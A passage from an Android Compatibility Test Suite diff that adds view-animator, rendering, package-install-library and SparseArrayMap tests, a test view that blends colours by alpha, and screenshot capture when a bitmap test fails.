+        });
+    }
+
+    @Test
+    public void testViewScaleXBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setScaleX(1.2f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.scaleXBy(2.5f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(3.7f, target.getScaleX());
+            }
+        });
+    }
+
+    @Test
+    public void testViewScaleY() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.scaleY(3.2f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(3.2f, target.getScaleY());
+            }
+        });
+    }
+
+    @Test
+    public void testViewScaleYBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setScaleY(1.2f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.scaleYBy(3.2f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(4.4f, target.getScaleY());
+            }
+        });
+    }
+
+    @Test
+    public void testViewX() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.x(27.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(27.0f, target.getX());
+            }
+        });
+    }
+
+    @Test
+    public void testViewXBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setX(140.0f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.xBy(27.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(167.0f, target.getX());
+            }
+        });
+    }
+
+    @Test
+    public void testViewY() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.y(77.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(77.0f, target.getY());
+            }
+        });
+    }
+
+    @Test
+    public void testViewYBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setY(80.0f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.yBy(77.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(157.0f, target.getY());
+            }
+        });
+    }
+
+    @Test
+    public void testViewZ() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.z(17.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(17.0f, target.getZ());
+            }
+        });
+    }
+
+    @Test
+    public void testViewZBy() {
+        runViewPropertyAnimatorTestWithoutVerification(new ViewPropertyAnimatorTestDelegate() {
+
+            @Override
+            public void configureView(View target) {
+                target.setZ(38.0f);
+            }
+
+            @Override
+            public void configureAnimator(ViewPropertyAnimator animator) {
+                animator.zBy(17.0f);
+            }
+
+            @Override
+            public void verifyViewState(View target) {
+                assertEquals(55.0f, target.getZ());
+            }
+        });
+    }
+
+    private void runViewPropertyAnimatorTestWithoutVerification(
+            ViewPropertyAnimatorTestDelegate delegate) {
+        createViewPropertyAnimatorTest(delegate).runWithoutVerification();
+    }
+
+    private TestCaseBuilder createViewPropertyAnimatorTest(
+            final ViewPropertyAnimatorTestDelegate delegate) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        return createTest().addLayout(R.layout.viewpropertyanimator_test_layout,
+                (ViewInitializer) view -> {
+                    AlphaTestView alphaView = view.findViewById(R.id.alpha_test_view);
+                    delegate.configureView(alphaView);
+                    alphaView.setStartColor(Color.RED);
+                    alphaView.setEndColor(Color.BLUE);
+                    ViewPropertyAnimator animator = alphaView.animate();
+                    delegate.configureAnimator(animator);
+                    animator.setListener(
+                            new AnimatorListenerAdapter() {
+
+                                @Override
+                                public void onAnimationEnd(Animator animator) {
+                                    delegate.verifyViewState(alphaView);
+                                    latch.countDown();
+                                }
+
+                            }).setDuration(16).start();
+                }, true, latch);
+    }
+
+    private interface ViewPropertyAnimatorTestDelegate<T extends View> {
+
+        default void configureView(T target) {
+            // NO-OP
+        }
+
+        void configureAnimator(ViewPropertyAnimator animator);
+
+        void verifyViewState(T target);
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/AlphaTestView.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/AlphaTestView.java
new file mode 100644
index 0000000..d475c8f
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/view/AlphaTestView.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses.view;
+
+import android.content.Context;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.util.AttributeSet;
+import android.view.View;
+
+/**
+ * Test View used to verify a View's custom alpha implementation logic
+ * in conjunction with {@link android.view.ViewPropertyAnimator}
+ */
+public class AlphaTestView extends View {
+
+    private Paint mPaint = new Paint();
+    private int mStartColor = Color.RED;
+    private int mEndColor = Color.BLUE;
+
+    public AlphaTestView(Context context) {
+        super(context);
+    }
+
+    public AlphaTestView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+    }
+
+    public AlphaTestView(Context context, AttributeSet attrs, int defStyleAttr) {
+        super(context, attrs, defStyleAttr);
+    }
+
+    public AlphaTestView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes) {
+        super(context, attrs, defStyleAttr, defStyleRes);
+    }
+
+    public void setStartColor(int startColor) {
+        mStartColor = startColor;
+        mPaint.setColor(mStartColor);
+    }
+
+    public void setEndColor(int endColor) {
+        mEndColor = endColor;
+    }
+
+    @Override
+    protected boolean onSetAlpha(int alpha) {
+        mPaint.setColor(blendColor(mStartColor, mEndColor, 1.0f - alpha / 255.0f));
+        return true;
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        canvas.drawRect(getLeft(), getTop(), getRight(), getBottom(), mPaint);
+    }
+
+    public int getBlendedColor() {
+        return mPaint.getColor();
+    }
+
+    private int blendColor(int color1, int color2, float ratio) {
+        float inverseRatio = 1 - ratio;
+        float a = (float) Color.alpha(color1) * inverseRatio + (float) Color.alpha(color2) * ratio;
+        float r = (float) Color.red(color1) * inverseRatio + (float) Color.red(color2) * ratio;
+        float g = (float) Color.green(color1) * inverseRatio + (float) Color.green(color2) * ratio;
+        float b = (float) Color.blue(color1) * inverseRatio + (float) Color.blue(color2) * ratio;
+        return Color.argb((int) a, (int) r, (int) g, (int) b);
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
index 47f4c89..55adc11 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
@@ -18,14 +18,16 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.content.Context;
 import android.graphics.Bitmap;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
 import android.uirendering.cts.differencevisualizers.DifferenceVisualizer;
 import android.uirendering.cts.differencevisualizers.PassFailVisualizer;
 
+import androidx.test.platform.app.InstrumentationRegistry;
+
 public class BitmapAsserter {
+    private static final boolean TAKE_SCREENSHOTS_ON_FAILURE = true;
     private DifferenceVisualizer mDifferenceVisualizer;
     private String mClassName;
 
@@ -64,6 +66,7 @@
 
         if (!success) {
             BitmapDumper.dumpBitmaps(bitmap1, bitmap2, testName, mClassName, mDifferenceVisualizer);
+            onFailure(testName);
         }
 
         assertTrue(debugMessage, success);
@@ -83,9 +86,17 @@
             BitmapDumper.dumpBitmap(croppedBitmap, testName, mClassName);
             BitmapDumper.dumpBitmap(bitmapVerifier.getDifferenceBitmap(), testName + "_verifier",
                     mClassName);
+            onFailure(testName);
         }
         assertTrue(debugMessage, success);
     }
 
+    private void onFailure(String testName) {
+        if (TAKE_SCREENSHOTS_ON_FAILURE) {
+            Bitmap screenshot = InstrumentationRegistry.getInstrumentation()
+                    .getUiAutomation().takeScreenshot();
+            BitmapDumper.dumpBitmap(screenshot, testName + "_fullscreenshot", mClassName);
+        }
 
+    }
 }
diff --git a/tests/tests/uirendering27/AndroidTest.xml b/tests/tests/uirendering27/AndroidTest.xml
index ecd5727..78b22fc 100644
--- a/tests/tests/uirendering27/AndroidTest.xml
+++ b/tests/tests/uirendering27/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiRenderingTestCases27.apk" />
diff --git a/tests/tests/util/Android.bp b/tests/tests/util/Android.bp
index 3533502..0ea529e 100644
--- a/tests/tests/util/Android.bp
+++ b/tests/tests/util/Android.bp
@@ -26,6 +26,7 @@
         "androidx.annotation_annotation",
         "androidx.test.rules",
         "ctstestrunner-axt",
+        "cts-install-lib",
     ],
     srcs: ["src/**/*.java"],
     platform_apis: true,
diff --git a/tests/tests/util/AndroidManifest.xml b/tests/tests/util/AndroidManifest.xml
index 0e71890..77ab380 100644
--- a/tests/tests/util/AndroidManifest.xml
+++ b/tests/tests/util/AndroidManifest.xml
@@ -21,6 +21,8 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.READ_LOGS" />
     <application>
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
+                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/util/src/android/util/cts/InstallUtilTest.java b/tests/tests/util/src/android/util/cts/InstallUtilTest.java
new file mode 100644
index 0000000..c3bfe28
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/InstallUtilTest.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot create installer sessions")
+/**
+ * Test for cts.install.lib.
+ * <p>This test also tries to showcase how to use the library.
+ */
+public class InstallUtilTest {
+    /**
+     * Drops adopted shell permissions and uninstalls the test apps.
+     */
+    @After
+    public void teardown() throws InterruptedException, IOException {
+        // Good tests clean up after themselves.
+        // Remember that other tests will be using the same test apps.
+        Uninstall.packages(TestApp.A, TestApp.B);
+
+        InstallUtils.dropShellPermissionIdentity();
+    }
+
+    /**
+     * Adopts common permissions needed to test rollbacks and uninstalls the
+     * test apps.
+     */
+    @Before
+    public void setup() throws InterruptedException, IOException {
+        InstallUtils.adoptShellPermissionIdentity(
+                    Manifest.permission.INSTALL_PACKAGES,
+                    Manifest.permission.DELETE_PACKAGES);
+        // Better tests work regardless of whether other tests clean up after themselves or not.
+        Uninstall.packages(TestApp.A, TestApp.B);
+    }
+
+    /**
+     * Asserts that the resource streams have the same content.
+     */
+    private void assertSameResource(TestApp a, TestApp b) throws Exception {
+        try (InputStream is1 = a.getResourceStream(a.getResourceNames()[0]);
+             InputStream is2 = b.getResourceStream(b.getResourceNames()[0]);) {
+            byte[] buf1 = new byte[64];
+            byte[] buf2 = new byte[64];
+            while (true) {
+                int n1 = is1.read(buf1);
+                int n2 = is2.read(buf2);
+                assertThat(n1).isEqualTo(n2);
+                if (n1 == -1) break;
+                assertThat(buf1).isEqualTo(buf2);
+            }
+        }
+    }
+
+    @Test
+    public void testNativeFilePathTestApp() throws Exception {
+        // Install the apps
+        Install.multi(TestApp.A1, TestApp.B2).commit();
+        // Create TestApps using the native file path of the installed apps
+        TestApp a1 = new TestApp(TestApp.A1.toString(), TestApp.A1.getPackageName(),
+                TestApp.A1.getVersionCode(), false,
+                new File(InstallUtils.getPackageInfo(TestApp.A).applicationInfo.sourceDir));
+        TestApp b2 = new TestApp(TestApp.B2.toString(), TestApp.B2.getPackageName(),
+                TestApp.B2.getVersionCode(), false,
+                new File(InstallUtils.getPackageInfo(TestApp.B).applicationInfo.sourceDir));
+
+        // Assert that the resource streams have the same content
+        assertSameResource(TestApp.A1, a1);
+        assertSameResource(TestApp.B2, b2);
+        // Verify the TestApp constructor which takes a native file path
+        assertThat(a1.toString()).isEqualTo(TestApp.A1.toString());
+        assertThat(a1.getPackageName()).isEqualTo(TestApp.A1.getPackageName());
+        assertThat(a1.getVersionCode()).isEqualTo(TestApp.A1.getVersionCode());
+        assertThat(b2.toString()).isEqualTo(TestApp.B2.toString());
+        assertThat(b2.getPackageName()).isEqualTo(TestApp.B2.getPackageName());
+        assertThat(b2.getVersionCode()).isEqualTo(TestApp.B2.getVersionCode());
+        // Verify TestApps with native file paths can also be installed correctly
+        Install.multi(a1, b2).addInstallFlags(PackageManager.INSTALL_REPLACE_EXISTING).commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+    }
+
+    @Test
+    public void testCommitSingleTestApp() throws Exception {
+        // Assert that the test app was not previously installed
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        // Install version 1 of TestApp.A
+        // Install#commit() asserts that the installation succeeds, so if it fails,
+        // an AssertionError would be thrown.
+        Install.single(TestApp.A1).commit();
+        // Even though the install session of TestApp.A1 is guaranteed to be committed by this stage
+        // it's still good practice to assert that the installed version of the app is the desired
+        // one. This is due to the fact that not all committed sessions are finalized sessions, i.e.
+        // staged install session.
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        // No need to uninstall test app, as #teardown will do the job.
+    }
+
+    @Test
+    public void testCommitMultiTestApp() throws Exception {
+        // Assert that the test app was not previously installed.
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
+        // Install version 1 of TestApp.A and version 2 of TestApp.B in one atomic install.
+        // Same notes as the single install case apply in the multi install case.
+        Install.multi(TestApp.A1, TestApp.B2).commit();
+
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+    }
+
+    @Test
+    public void testOpenAndAbandonSessionForSingleApk() throws Exception {
+        int sessionId = Install.single(TestApp.A1).createSession();
+        try (PackageInstaller.Session session
+                     = InstallUtils.openPackageInstallerSession(sessionId)) {
+            assertThat(session).isNotNull();
+
+            // TODO: is there a way to verify that the APK has been written?
+
+            // At this stage, the session can be directly manipulated using
+            // PackageInstaller.Session API, i.e., it can be abandoned.
+            session.abandon();
+            // TODO: maybe add session callback and verify that session was abandoned?
+            // Assert session has not been installed
+            assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        }
+    }
+
+    @Test
+    public void testOpenAndCommitSessionForSingleApk() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        int sessionId = Install.single(TestApp.A1).createSession();
+        try (PackageInstaller.Session session
+                     = InstallUtils.openPackageInstallerSession(sessionId)) {
+            assertThat(session).isNotNull();
+
+            // Session can be committed directly, but a BroadcastReceiver must be provided.
+            session.commit(LocalIntentSender.getIntentSender());
+            InstallUtils.assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+
+            // Verify app has been installed
+            assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        }
+    }
+
+    @Test
+    public void testOpenSingleSessionWithParameters() throws Exception {
+        int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+        try (PackageInstaller.Session session
+                     = InstallUtils.openPackageInstallerSession(sessionId)) {
+            assertThat(session.isStaged()).isTrue();
+
+            session.abandon();
+        }
+    }
+
+    @Test
+    public void testOpenSessionForMultiPackageSession() throws Exception {
+        int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).setStaged().createSession();
+        try (PackageInstaller.Session parentSession
+                     = InstallUtils.openPackageInstallerSession(parentSessionId)) {
+            assertThat(parentSession.isMultiPackage()).isTrue();
+
+            assertThat(parentSession.isStaged()).isTrue();
+
+            // Child sessions are consistent with the parent parameters
+            int[] childSessionIds = parentSession.getChildSessionIds();
+            assertThat(childSessionIds.length).isEqualTo(2);
+            for (int childSessionId : childSessionIds) {
+                try (PackageInstaller.Session childSession
+                             = InstallUtils.openPackageInstallerSession(childSessionId)) {
+                    assertThat(childSession.isStaged()).isTrue();
+                }
+            }
+
+            parentSession.abandon();
+
+            // Verify apps have not been installed
+            assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+            assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
+        }
+    }
+
+    @Test
+    public void testMutateInstallFlags() throws Exception {
+        PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
+                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+        params.setInstallAsApex();
+        params.setStaged();
+        InstallUtils.mutateInstallFlags(params, 0x00080000);
+        final Class<?> clazz = params.getClass();
+        Field installFlagsField = clazz.getDeclaredField("installFlags");
+        int installFlags = installFlagsField.getInt(params);
+        assertThat(installFlags & 0x00080000).isEqualTo(0x00080000);
+    }
+}
diff --git a/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java b/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
new file mode 100644
index 0000000..96b54ee
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.util.SparseArrayMap;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SparseArrayMapTest {
+    private static final String[] KEYS_1 = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k"};
+    private static final String[] KEYS_2 = {"z", "y", "x", "w", "v", "u", "t", "s", "r", "q"};
+
+    @Test
+    public void testStoreSingleInt() {
+        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        for (int i = 0; i < KEYS_1.length; i++) {
+            sam.add(0, KEYS_1[i], i);
+        }
+
+        assertEquals(KEYS_1.length, sam.numElementsForKey(0));
+        assertEquals(0, sam.numElementsForKey(1));
+
+        for (int i = 0; i < KEYS_1.length; i++) {
+            assertEquals(i, sam.get(0, KEYS_1[i]).intValue());
+        }
+    }
+
+    @Test
+    public void testStoreMultipleInt() {
+        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+
+        for (int i = 0; i < KEYS_1.length; i++) {
+            sam.add(0, KEYS_1[i], i);
+        }
+        for (int i = 0; i < KEYS_2.length; i++) {
+            sam.add(1, KEYS_2[i], i);
+        }
+
+        assertEquals(KEYS_1.length, sam.numElementsForKey(0));
+        assertEquals(KEYS_2.length, sam.numElementsForKey(1));
+
+        for (int i = 0; i < KEYS_1.length; i++) {
+            assertEquals(i, sam.get(0, KEYS_1[i]).intValue());
+            assertNull(sam.get(1, KEYS_1[i]));
+        }
+        for (int i = 0; i < KEYS_2.length; i++) {
+            assertNull(sam.get(0, KEYS_2[i]));
+            assertEquals(i, sam.get(1, KEYS_2[i]).intValue());
+        }
+    }
+
+    @Test
+    public void testClear() {
+        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        for (int i = 0; i < KEYS_1.length; i++) {
+            sam.add(0, KEYS_1[i], i);
+        }
+
+        assertEquals(KEYS_1.length, sam.numElementsForKey(0));
+
+        sam.clear();
+        assertEquals(0, sam.numElementsForKey(0));
+    }
+
+    @Test
+    public void testContains() {
+        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        for (int i = 0; i < KEYS_1.length; i++) {
+            sam.add(0, KEYS_1[i], i);
+        }
+        for (int i = 0; i < KEYS_1.length; i++) {
+            assertTrue(sam.contains(0, KEYS_1[i]));
+            assertFalse(sam.contains(1, KEYS_1[i]));
+        }
+        for (int i = 0; i < KEYS_2.length; i++) {
+            assertFalse(sam.contains(0, KEYS_2[i]));
+            assertFalse(sam.contains(1, KEYS_2[i]));
+        }
+    }
+
+    @Test
+    public void testDelete() {
+        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        for (int i = 0; i < KEYS_1.length; i++) {
+            sam.add(0, KEYS_1[i], i);
+            sam.add(1, KEYS_1[i], i);
+            sam.add(2, KEYS_1[i], i);
+        }
+
+        for (int i = 0; i < KEYS_1.length; i++) {
+            assertTrue(sam.contains(0, KEYS_1[i]));
+            assertTrue(sam.contains(1, KEYS_1[i]));
+            assertTrue(sam.contains(2, KEYS_1[i]));
+
+            assertEquals(i, sam.delete(0, KEYS_1[i]).intValue());
+            assertFalse(sam.contains(0, KEYS_1[i]));
+            assertTrue(sam.contains(1, KEYS_1[i]));
+            assertTrue(sam.contains(2, KEYS_1[i]));
+
+            assertNull(sam.delete(0, KEYS_1[i]));
+            assertFalse(sam.contains(0, KEYS_1[i]));
+            assertTrue(sam.contains(1, KEYS_1[i]));
+            assertTrue(sam.contains(2, KEYS_1[i]));
+
+            assertEquals(i, sam.delete(1, KEYS_1[i]).intValue());
+            assertFalse(sam.contains(0, KEYS_1[i]));
+            assertFalse(sam.contains(1, KEYS_1[i]));
+            assertTrue(sam.contains(2, KEYS_1[i]));
+        }
+
+        assertEquals(0, sam.numElementsForKey(0));
+        assertEquals(0, sam.numElementsForKey(1));
+        assertEquals(KEYS_1.length, sam.numElementsForKey(2));
+        sam.delete(2);
+        assertEquals(0, sam.numElementsForKey(2));
+    }
+
+    @Test
+    public void testGetOrDefault() {
+        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        for (int i = 0; i < KEYS_1.length; i++) {
+            if (i % 2 == 0) {
+                sam.add(0, KEYS_1[i], i);
+            }
+        }
+
+        Integer def = Integer.MAX_VALUE;
+        for (int i = 0; i < KEYS_1.length; i++) {
+            assertEquals(i % 2 == 0 ? i : def, sam.getOrDefault(0, KEYS_1[i], def).intValue());
+        }
+    }
+
+    @Test
+    public void testIntKeyIndexing() {
+        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        for (int i = 0; i < KEYS_1.length; i++) {
+            sam.add(i * 2, KEYS_1[i], i * 2 + 1);
+        }
+        for (int i = 0; i < KEYS_1.length; i++) {
+            int index = sam.indexOfKey(2 * i);
+            assertEquals(2 * i, sam.keyAt(index));
+        }
+    }
+
+    @Test
+    public void testIntStringKeyIndexing() {
+        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        for (int i = 0; i < KEYS_1.length; i++) {
+            sam.add(i * 2, KEYS_1[i], i * 2 + 1);
+        }
+        for (int i = 0; i < KEYS_1.length; i++) {
+            int intIndex = sam.indexOfKey(2 * i);
+            int stringIndex = sam.indexOfKey(2 * i, KEYS_1[i]);
+            assertEquals(KEYS_1[i], sam.keyAt(intIndex, stringIndex));
+        }
+    }
+
+    @Test
+    public void testNumMaps() {
+        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        for (int i = 0; i < 10; i++) {
+            assertEquals(i, sam.numMaps());
+            sam.add(i, "blue", i);
+            assertEquals(i + 1, sam.numMaps());
+        }
+
+        // Delete a key that doesn't exist.
+        sam.delete(100);
+        assertEquals(10, sam.numMaps());
+
+        for (int i = 10; i > 0; i--) {
+            assertEquals(i, sam.numMaps());
+            sam.delete(i - 1);
+            assertEquals(i - 1, sam.numMaps());
+        }
+    }
+}
diff --git a/tests/tests/view/OWNERS b/tests/tests/view/OWNERS
new file mode 100644
index 0000000..7074017
--- /dev/null
+++ b/tests/tests/view/OWNERS
@@ -0,0 +1,6 @@
+# Bug component: 25700
+adamp@google.com
+shepshapard@google.com
+clarabayarri@google.com
+jreck@google.com
+njawad@google.com
\ No newline at end of file
diff --git a/tests/tests/view/res/values/styles.xml b/tests/tests/view/res/values/styles.xml
index 9a551df..bb513bf 100644
--- a/tests/tests/view/res/values/styles.xml
+++ b/tests/tests/view/res/values/styles.xml
@@ -174,10 +174,6 @@
         <item name="themeTileMode">2</item>
     </style>
 
-    <style name="Theme_NoSwipeDismiss">
-        <item name="android:windowSwipeToDismiss">false</item>
-    </style>
-
     <style name="WhiteBackgroundTheme" parent="@android:style/Theme.Holo.NoActionBar.Fullscreen">
         <item name="android:windowNoTitle">true</item>
         <item name="android:windowFullscreen">true</item>
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 38b993c..9cab157 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -300,22 +300,37 @@
     public void testSamplingWithTransform() throws Throwable {
         final TextureViewCtsActivity activity = mActivityRule.launchActivity(null);
         final TextureView textureView = activity.getTextureView();
+        final int viewWidth = textureView.getWidth();
+        final int viewHeight = textureView.getHeight();
         WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, activity.getTextureView(), null);
         // Remove cover and calculate TextureView position on the screen.
         WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
                 activity.findViewById(android.R.id.content), () -> activity.removeCover());
 
         float[][] matrices = {
-            {1, 0, 0, 0, 1, 0, 0, 0, 1},        // identity matrix
-            {1, 0, 0, 0, 1, 10.3f, 0, 0, 1},    // translation matrix with a fractional offset
-            {1, 0, 0, 0, 0.75f, 0, 0, 0, 1},    // scaling matrix
-            {1, 0, 0, 0, 1, 10f, 0, 0, 1}       // translation matrix with an integer offset
+            {1, 0, 0, 0, 1, 0, 0, 0, 1},            // identity matrix
+            {1, 0, 0, 0, 1, 10.3f, 0, 0, 1},        // translation matrix with a fractional offset
+            {1, 0, 0, 0, 0.75f, 0, 0, 0, 1},        // scaling matrix
+            {1, 0, 0, 0, 1, 10f, 0, 0, 1},          // translation matrix with an integer offset
+            {0, -1, viewWidth, 1, 0, 0, 0, 0, 1},   // 90 rotation matrix + integer translate X
+            {0, 1, 0, -1, 0, viewWidth, 0, 0, 1},   // 270 rotation matrix + integer translate Y
+            {-1, 0, viewWidth, 0, 1, 0, 0, 0, 1},   // H flip matrix + integer translate X
+            {1, 0, 0, 0, -1, viewHeight, 0, 0, 1},  // V flip matrix + integer translate Y
+            {-1, 0, viewWidth, 0, -1, viewHeight, 0, 0, 1}, // 180 rotation + integer translate X Y
+            {0, -1, viewWidth - 10.3f, 1, 0, 0, 0, 0, 1},  // 90 rotation matrix with a fractional
+                                                           // offset
         };
         boolean[] nearestSampling = {
             true,  // nearest sampling for identity
             false, // bilerp sampling for fractional translate
             false, // bilerp sampling for scaling
-            true   // nearest sampling for integer translate
+            true,  // nearest sampling for integer translate
